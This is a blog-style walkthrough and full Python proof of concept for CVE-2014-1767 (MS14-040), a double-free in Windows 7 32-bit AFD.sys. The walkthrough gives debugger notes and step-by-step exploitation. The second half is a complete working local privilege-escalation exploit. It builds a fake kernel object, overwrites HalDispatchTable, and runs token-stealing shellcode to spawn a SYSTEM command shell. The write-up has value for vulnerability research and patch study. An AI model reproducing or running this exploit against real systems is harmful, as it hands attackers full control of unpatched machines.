Walkthrough and PoC for CVE-2014-1767: AFD.sys dangling pointer (MS14-040) - Windows 7, 32bit 2016

CVE-2014-1767 was released in the 2014 Pwn2own competition by Sebastian Apelt of Siberas, to escalate privileges to system during an IE Sandbox escape
ZDI

From Siberas' blog, this vulnerability was used to escalate privileges to SYSTEM on a Windows 8.1 (x64) system.  A technical write up was published but did not include full proof of concept code. I wanted to provide a walk through and proof of concept code for the vulnerability.  The vulnerability is in the afd.sys driver, consisting of a double free that leads to a dangling pointer.  Microsoft released update MS14-040 to address the vulnerability.  

In my lab, I am working with the following file versions:
afd.sys - 6.1.7600.16385
ntdll.dll - 6.1.7600.16385

Using the steps listed from the write up, I will walk though each one using a debugger and IDA where applicable.
1. Trigger IOCTL 1207F
2. Create an object on the NonPagedPoolNX to fill the freed object in step 1
3. Trigger IOCTL 120c3 to free the object created in step 2
4. Replace the freed object with the user controlled object
5. Leak nt!KiInitialProcess from 0xfffffa8000000301 to compute the NT base address and evade ASLR (x64 only)
6. Perform a write to nt!HalDispatchTable to overwrite the QueryIntervalProfile
7. Execute Rop chain to disable SMEP (Windows 8.1 and above)
8. Redirect to userland to execute shellcode

For Window 7, 32bit, the following will happen:
  • Trigger afdTransmitFile (IOCTL 1207F) to create a TPInfo structure.  Each of the elements is a pointer to a memory descriptor list (MDL).  The size of the MDL can be controlled based on user inputs.
  • After afdTransmitFile is finished, the TPinfo structure still exist, but the MDL has been freed.
  • A worker factory is created to fill the space with a size of 0xa0.  The benefit of the worker factory is it allows for read and write calls for userland.
  • Triggering afdTransmitPacket (IOCTL 120C3), which frees the Worker Factory object
  • NTQueryEaFile is used to fill the freed space with a fake worker factory object
  • Using the handle to the Worker Factory, it is possible to use NtSetInformationWorkerFactory  to overwrite halQuerySystemInformation in the HalDispatchTable to execute code in userland.

1. Trigger IOCTL 1207F (afdTransmitFile) MDL size is controlled

    afd!afdTransmitFile+0x16a - call to Allocate MDL

Buffer sent to 1207F






nt!IoAllocateMDL+3c - formula for determine MDL size , EAX contains the final size (0xa0).

((length >> 0xc) + ((length & 0xFFF + address & 0xFFF + 0xFFF) >> 0xC)) * 4 + 1c



  afd!AfdTransmitFile+0x59b - Pointer to TPInfo (8530c208)



!pool 8530c208



  To find pointer to MDL -> dd 8530c208 L28 (853895e0)



 !pool 853895e0 -> allocated MDL size 0xa0



After Free
!pool 853895e0 -> Freed MDL size 0xa0



2. Create an object on the NonPagedPoolNX of size 0xa0

    nt!NtCreateWorkerFactory+0x142
    !pool 853895e0 -> allocated Worker Factory Object



3. Trigger IOCTL 120C3 (afdTransmitPacket) to free the object created in step 2


Buffer sent to 120C3



afd!afdTransmitPackets
!pool 853895e0 -> Freed Worker Factory Object



4. Replace the freed object with the controlled data of size 0xa0


Fake Object





nt!NtQueryEaFile+0xc2
!pool 853895e0 -> allocated fake object



nt!NtQueryEaFile+0xca -> move fake object into 853895e0



    

5. Perform a write to nt!HalDispatchTable to overwrite QueryIntervalProfile

nt!NtSetInformationWorkerFactory+0x16b -> overwrite HaliQuerySystemInformation





6. Redirect to userland to execute TokenStealing Shellcode and fix the handle to the Worker Factory Object. 

I had to add a fix for the object handle issue because when you exit the SYSTEM level cmd.exe process, the system would bluescreen.  The worker factory object had been freed/destroyed, but the system was unaware of it.  ExSweepHandleTable will enumerate all handles in the handleTableEntry.  If we set those values to NULL, it is possible to bypass the freeing of the handle preventing the BSOD

Crash Dump/BSOD before fixing the Handle Table



Final Shellcode





Stay tuned for Win 7 x64 and 8.1 walk through and proof of concept code.


Proof of Concept Code


ms14-040.py

from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD

kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi

MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x00000040
Zerobits   = c_int(0)
RegionSize = c_int(0x1000)
written    = c_int(0)

FakeObjSize = 0xA0

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1 

WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int

class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]   

def findSysBase(drvname=None):
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE 
    lpImageBase           = myarray() 
    cb                    = c_int(1024) 
    lpcbNeeded            = c_long() 
    drivername_size       = c_long() 
    drivername_size.value = 48

    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) 
    for baseaddy in lpImageBase: 
        drivername = c_char_p("\x00"*drivername_size.value) 
        if baseaddy: 
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, 
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[+] Retrieving %s info..." % drvname
                    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
                    return baseaddy
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[+] Retrieving Kernel info..."
                    print "[+] Kernel version:", drivername.value
                    print "[+] Kernel base address: %s" % hex(baseaddy) 
                    return (baseaddy, drivername.value)
    return None


def CreateBuffer1():
    inbuf1size = 0x30
    virtualAddress = 0x18888888
    length = 0x20000
   
    inbuf1  = "\x00" * 0x18 + struct.pack("L", virtualAddress)    #0x1a
    inbuf1 += struct.pack("L", length)            #0x20
    inbuf1 += "\x00" * 0x8 + "\x01"   
    inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
       
    baseadd    = c_int(0x1001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)
    kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))


def CreateBuffer2():
    inbuf2size = 0x10
    addrforbuf2 = 0x0AAAAAAA
   
    inbuf2 = "\x01\x00\x00\x00"
    inbuf2 += struct.pack("L", addrforbuf2)
    inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
       
    baseadd    = c_int(0x2001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)   
    kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))

def CreateFakeObject():
    print "[+] Print creating fakeobject"
    fakeobject2addr = 0x2200
    fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
    fakeobj2size = len(fakeobject2)
    kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))

    objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x01\x00\x00\x00\x01\x00\x00\x00"
        "\x00\x00\x00\x00\x16\x00\x08\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00")


    fakeobject = objhead
    fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
    fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
    kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))   
   
print "[+] creating socket..."
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)

if sock == -1:
    print "[-] no luck creating socket!"
    sys.exit(1)

print "[+] got sock 0x%x" % sock

addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(135)
addr.sin_addr = socket.htonl(0x7f000001)

connect(sock, byref(addr), sizeof(addr))

print "[+] sock connected."
print "\n[+] GO!"

(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("halmacpi.dll")
OS = "7"
if OS == "7":
    HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
    _KPROCESS = "\x50"
    _TOKEN    = "\xf8"
    _UPID     = "\xb4"
    _APLINKS  = "\xb8"   

print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)

IoStatus = c_ulong()
IoStatusBlock = c_ulong()

CreateBuffer1()
CreateBuffer2()
CreateFakeObject()

inbuf1 = 0x1000
inbuf2 = 0x2000
hWF = HANDLE(0)
FakeWorkerFactoryADDR = 0x2100

raw_input("Press Enter to trigger 1")

ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)

CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))

ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
hWFaddr = hWF
print "[+] WorkerFactoryHandle:", hWF.value
hWFaddr = int(addressof(hWF))

shellcode_address   = 0x00020700
padding           = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4

_WFValue = struct.pack("L", hWFaddr)

sc_pointer = struct.pack("L", shellcode_address+0x4)   
restore_ptrs =  "\x31\xc0" + \
                "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
                "\xa3" + struct.pack("L", HalDispatchTable0x4)   
   
tokenstealing =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"  

fixobjheaders = "\x33\xC0"                                +\
                "\x64\x8B\x80\x24\x01\x00\x00"            +\
                "\x8B\x40\x50"                            +\
                "\x8B\x80\xF4\x00\x00\x00"                +\
                "\x8B\xD8"                                +\
                "\x8B\x00"                                +\
                "\x8B\x0D" + _WFValue                    +\
                "\x83\xE1\xFC"                            +\
                "\x03\xC9"                                +\
                "\x03\xC1"                                +\
                "\xC7\x00\x00\x00\x00\x00"                +\
                "\x83\xC3\x30"                            +\
                "\x8B\xC3"                                +\
                "\x8B\x1B"                                +\
                "\x83\xEB\x01"                            +\
                "\x89\x18"                                +\
                "\x5B"                                    +\
                "\x5A"                                    +\
                "\xC2\x10\x00"

               
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
shellcode_size    = len(shellcode)
orig_size         = shellcode_size
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))

raw_input("Press Enter to trigger 2")

### Trigger 2 - BSOD
## afd!AfdTransmitPackets
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)

ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)

ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;

inp  = c_ulong()
out  = c_ulong()
inp  = 0x1337
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /K cd c:\\windows\\system32")

No comments :